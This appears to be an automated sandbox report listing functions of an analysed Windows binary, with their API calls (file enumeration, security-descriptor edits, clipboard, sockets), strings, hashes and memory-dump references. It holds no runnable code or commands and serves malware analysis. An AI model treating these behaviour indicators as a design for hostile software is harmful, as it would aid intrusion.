Instruction ID: 71a592eff49c2d66b710e2d147507664d4d2dff5608094fc4880a35d4d46aae5
Opcode Fuzzy Hash: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
Instruction Fuzzy Hash: 1F02CF22A2A68286FF20DF259E547B933B1FBC4794F445231DA5D87AD4CF3CE542A702

Function 00007FF6292A206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF6292A2094
LoadCursorW.USER32 ref: 00007FF6292A20A5
LoadCursorW.USER32 ref: 00007FF6292A20B6
LoadCursorW.USER32 ref: 00007FF6292A20C7
LoadCursorW.USER32 ref: 00007FF6292A20D8
LoadCursorW.USER32 ref: 00007FF6292A20E9
LoadCursorW.USER32 ref: 00007FF6292A20FA
LoadCursorW.USER32 ref: 00007FF6292A210B
LoadCursorW.USER32 ref: 00007FF6292A211C
LoadCursorW.USER32 ref: 00007FF6292A212D
LoadCursorW.USER32 ref: 00007FF6292A213E
LoadCursorW.USER32 ref: 00007FF6292A214F
LoadCursorW.USER32 ref: 00007FF6292A2160
LoadCursorW.USER32 ref: 00007FF6292A2171
LoadCursorW.USER32 ref: 00007FF6292A2182
LoadCursorW.USER32 ref: 00007FF6292A2193
GetCursorInfo.USER32 ref: 00007FF6292A21A8
GetLastError.KERNEL32 ref: 00007FF6292A21E9

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction ID: f95d4df0c5c9c10f420c4afbf43a09bc824116e37aa6a4d96bb3a22f643ffdf7
Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction Fuzzy Hash: 4D516C32A1EB028AFB448F68FA5867D33A5EF89744F114439DA0E83B84DF7CE4559305

Function 00007FF62925529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6292552E5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62925595E
memcpy_s.LIBCMT ref: 00007FF62925630B
memcpy_s.LIBCMT ref: 00007FF6292563B2

Part of subcall function 00007FF629241C28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629241C5A

memcpy_s.LIBCMT ref: 00007FF62925647B

Part of subcall function 00007FF62924B2C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62924B2E9

Strings

1#IND, xrefs: 00007FF6292564F6
1#SNAN, xrefs: 00007FF629256515
1#QNAN, xrefs: 00007FF629256534
1#INF, xrefs: 00007FF629256553

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction ID: 09ead4220a96faacec6ef2e89349a8a16b0791b9dfffb8b99e829155163c8300
Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction Fuzzy Hash: 1BB20972A291828BFB298E65DE40AFD37A5FBC4388F505135DA09D7B8CDF38E5049B01

Function 00007FF629215F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

P, xrefs: 00007FF629215F65

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 088bba3a1016d805068b1795b2da5f6ed91fd4b1a7bbf8d4e2293c13cc0fe4ac
Instruction ID: 5ac70817210d9ef863562832455fcacfcf5855774b2e27258f5c311bea728cf5
Opcode Fuzzy Hash: 088bba3a1016d805068b1795b2da5f6ed91fd4b1a7bbf8d4e2293c13cc0fe4ac
Instruction Fuzzy Hash: D4A1E332A2A64186FB28CF25D9006BEB764FFC5788F508135DA4E83A98CF3DE545D702

Function 00007FF629252400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62925243E

Part of subcall function 00007FF629251BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629251BF4

_get_daylight.LIBCMT ref: 00007FF62925242D

Part of subcall function 00007FF629251C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629251C54

_get_daylight.LIBCMT ref: 00007FF629252673
_get_daylight.LIBCMT ref: 00007FF629252684
_get_daylight.LIBCMT ref: 00007FF629252695
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6292528F5), ref: 00007FF6292526BC
WideCharToMultiByte.KERNEL32 ref: 00007FF629252752
WideCharToMultiByte.KERNEL32 ref: 00007FF62925279E

Strings

:, xrefs: 00007FF62925255E
:, xrefs: 00007FF629252534
?, xrefs: 00007FF629252791
-, xrefs: 00007FF629252503

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
String ID: -$:$:$?
API String ID: 3440502458-92861585
Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction ID: 4aa344fcef66d630c2376daaadf74ca9f0dfe84787eb8c9b4cdda54cf277b381
Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction Fuzzy Hash: 3CE1E432A2A29286FF28DF359E506B93790FFC4788F445135EA4D82AD9DF3CD4419702

Function 00007FF6292972A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6292972E8
FindClose.KERNEL32 ref: 00007FF62929731A
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF629297359
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF629297381
FileTimeToSystemTime.KERNEL32 ref: 00007FF6292973B3
FileTimeToSystemTime.KERNEL32 ref: 00007FF6292973E3

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00007FF62929747E
%4d, xrefs: 00007FF6292974C3
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00007FF629297441
%03d, xrefs: 00007FF6292976CF
%02d, xrefs: 00007FF629297519

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3232708057-3289030164
Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction ID: 0689b7527204bb273a67a12951ceeb53c44ab40a9977c25ac54dca89998c858e
Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction Fuzzy Hash: 46D19D22B29A5281FF10DF61ED811EE7761FBC0794F804132EA4D87AAADF78D108D741

Function 00007FF62929A350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF62929A390
GetFileAttributesW.KERNEL32 ref: 00007FF62929A3CE
SetFileAttributesW.KERNEL32 ref: 00007FF62929A3E5
FindNextFileW.KERNEL32 ref: 00007FF62929A3FA
FindClose.KERNEL32 ref: 00007FF62929A407
FindClose.KERNEL32 ref: 00007FF62929A424
FindFirstFileW.KERNEL32 ref: 00007FF62929A43D
SetCurrentDirectoryW.KERNEL32 ref: 00007FF62929A489
SetCurrentDirectoryW.KERNEL32 ref: 00007FF62929A4B0
FindNextFileW.KERNEL32 ref: 00007FF62929A4BE
FindClose.KERNEL32 ref: 00007FF62929A4CD

Strings

*.*, xrefs: 00007FF62929A436

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction ID: 5c3b575350914134987d5d3676d9304b68a15e6fbd14c011fe8e1d0309f546db
Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction Fuzzy Hash: 38415B2162E64294FF108F25EE446B973A4FBC4BA4F919131DD6D876D4DF3CE44AA302

Function 00007FF62928D87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM ref: 00007FF62928D8F5
mciSendStringW.WINMM ref: 00007FF62928D913
mciSendStringW.WINMM ref: 00007FF62928D92B
mciSendStringW.WINMM ref: 00007FF62928D949
mciSendStringW.WINMM ref: 00007FF62928D967

Strings

alias PlayMe, xrefs: 00007FF62928D8CF
play PlayMe, xrefs: 00007FF62928D960
close PlayMe, xrefs: 00007FF62928D907, 00007FF62928D952
open , xrefs: 00007FF62928D894
status PlayMe mode, xrefs: 00007FF62928D8EE
play PlayMe wait, xrefs: 00007FF62928D942

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction ID: 90850e2f35f808e9324c6742a80fb7a79f88d22e1c1deca6c624582984d83ca7
Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction Fuzzy Hash: 62219326A2AA9292FF20DF24FE90A6A7364FFD5748F804031D94D83999DF2CD509D701

Function 00007FF62929A4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF62929A530
FindNextFileW.KERNEL32 ref: 00007FF62929A588
FindClose.KERNEL32 ref: 00007FF62929A595
FindClose.KERNEL32 ref: 00007FF62929A5B3
FindFirstFileW.KERNEL32 ref: 00007FF62929A5CC
SetCurrentDirectoryW.KERNEL32 ref: 00007FF62929A611
SetCurrentDirectoryW.KERNEL32 ref: 00007FF62929A638
FindNextFileW.KERNEL32 ref: 00007FF62929A646
FindClose.KERNEL32 ref: 00007FF62929A655

Part of subcall function 00007FF62928C67C: CreateFileW.KERNEL32 ref: 00007FF62928C6B1

Strings

*.*, xrefs: 00007FF62929A5C5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction ID: 642b2c83b5edc5ca68f67285e756f2f28cdd01b99a1a5ab49b56f52c213b878c
Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction Fuzzy Hash: AC418B11A2EA4291FE108F15EE446B97390EFC5BA4F909131DD6E876D4EF3CE40AE702

Function 00007FF629293E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF629293E61
CreateDirectoryW.KERNEL32 ref: 00007FF629293EB2
CreateFileW.KERNEL32 ref: 00007FF629293EE4
RemoveDirectoryW.KERNEL32 ref: 00007FF629293EF6
DeviceIoControl.KERNEL32 ref: 00007FF629293FA5
CloseHandle.KERNEL32 ref: 00007FF629293FB2
CloseHandle.KERNEL32 ref: 00007FF629293FBD

Strings

\, xrefs: 00007FF629293E97
:, xrefs: 00007FF629293E9F
\??\%s, xrefs: 00007FF629293E79

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
String ID: :$\$\??\%s
API String ID: 3827137101-3457252023
Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction ID: e91eb7c7f290b64cc6ee04f500c5a1db0d34e5cbd56d656b97139d085260e52a
Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction Fuzzy Hash: 0641CC22A2968385FB209F21AE006FD73A4FFC5798F504135DA4D87AA8DF7CD64AD701

Function 00007FF6292983D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF629298452
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF6292984FC
SHGetDesktopFolder.SHELL32 ref: 00007FF629298516
CoCreateInstance.OLE32 ref: 00007FF62929858F
SHCreateShellItem.SHELL32 ref: 00007FF629298629
CoTaskMemFree.OLE32 ref: 00007FF629298699
SHBrowseForFolderW.SHELL32 ref: 00007FF62929872A
SHGetPathFromIDListW.SHELL32 ref: 00007FF62929874B
CoTaskMemFree.OLE32 ref: 00007FF629298754
CoTaskMemFree.OLE32 ref: 00007FF629298799
CoUninitialize.OLE32 ref: 00007FF62929879F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
Instruction ID: 164d778acf04b0ca545c8d06c0138f1c32d3247c8b6b171340305c6c0f5806b4
Opcode Fuzzy Hash: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
Instruction Fuzzy Hash: DDC15626A19B8685EF10DF26D8802AD77A0FBC8B94F158036DE4E87765CF39D449D701

Function 00007FF62927C5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62927CD34: GetUserObjectSecurity.USER32 ref: 00007FF62927CD65
Part of subcall function 00007FF62927CD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF62927C65A), ref: 00007FF62927CD71
Part of subcall function 00007FF62927CD34: GetUserObjectSecurity.USER32 ref: 00007FF62927CD9C

Part of subcall function 00007FF62927CE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF62927C66F), ref: 00007FF62927CE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF62927C68B
GetAclInformation.ADVAPI32 ref: 00007FF62927C6C5
GetLengthSid.ADVAPI32 ref: 00007FF62927C6D6
GetAce.ADVAPI32 ref: 00007FF62927C714
AddAce.ADVAPI32 ref: 00007FF62927C73B
GetLengthSid.ADVAPI32 ref: 00007FF62927C753
GetLengthSid.ADVAPI32 ref: 00007FF62927C776
CopySid.ADVAPI32 ref: 00007FF62927C785
AddAce.ADVAPI32 ref: 00007FF62927C7CB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF62927C7EE
SetUserObjectSecurity.USER32 ref: 00007FF62927C803

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction ID: d706e91d5bff5a59e61cfe3ec7929e327d91c2defcba0086151ec62acb20032b
Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction Fuzzy Hash: E9619D22B2A6528AFF10DF72DD449EC37A4FB84B88B049035DE0AA7B94DF38D545D341

Function 00007FF6292959D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6292959FB
GetDiskFreeSpaceW.KERNEL32 ref: 00007FF629295A86
GetLastError.KERNEL32 ref: 00007FF629295A90
SetErrorMode.KERNEL32 ref: 00007FF629295B17

Strings

NOTREADY, xrefs: 00007FF629295AB7
READONLY, xrefs: 00007FF629295AC4
INVALID, xrefs: 00007FF629295ACD
READY, xrefs: 00007FF629295AD6
UNKNOWN, xrefs: 00007FF629295AB0

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction ID: 82987c54230c2bf682dc7eb386d76f13f7598331d8e6aa70ee85b98dafbb1f65
Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction Fuzzy Hash: E2415B26B2AA0285FF109F25DA805AC3775FBC8B94F558432CE0D83795DF38E595D305

Function 00007FF6292BA59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6292BA650
SendMessageW.USER32 ref: 00007FF6292BA664
GetWindowLongW.USER32 ref: 00007FF6292BA697
SendMessageW.USER32 ref: 00007FF6292BA6C1
SendMessageW.USER32 ref: 00007FF6292BA752
SendMessageW.USER32 ref: 00007FF6292BA7A6
SendMessageW.USER32 ref: 00007FF6292BA7CD
SendMessageW.USER32 ref: 00007FF6292BA7F1
SendMessageW.USER32 ref: 00007FF6292BA80E
SendMessageW.USER32 ref: 00007FF6292BA832

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction ID: 4fb09d9df2dc75ba29090060836b7c1b9156a5af7c40e6b0d45dce498d6011c7
Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction Fuzzy Hash: 1B71B336629A8185EB20DF65D994AED37A0FBC8B94F514032DE4D87BA4CF3CD186D701

Function 00007FF6292A0D24 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF6292A0D62
EmptyClipboard.USER32 ref: 00007FF6292A0D68
GlobalAlloc.KERNEL32 ref: 00007FF6292A0D80
CloseClipboard.USER32 ref: 00007FF6292A0E72

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction ID: e6b6f4bed626245793ce066692fc7ec1c206e4d133a95efc6a22d636953d8596
Opcode Fuzzy Hash: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction Fuzzy Hash: 44414C62A2AA4282FF04AF15EA9433C3760FFC9B85F054434DA4E87792CF7CE051A706

Function 00007FF6292A3940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF6292A39DA
WSAGetLastError.WSOCK32 ref: 00007FF6292A39EC
bind.WSOCK32 ref: 00007FF6292A3A3A
WSAGetLastError.WSOCK32 ref: 00007FF6292A3A44
closesocket.WSOCK32 ref: 00007FF6292A3A70
listen.WSOCK32 ref: 00007FF6292A3A7E
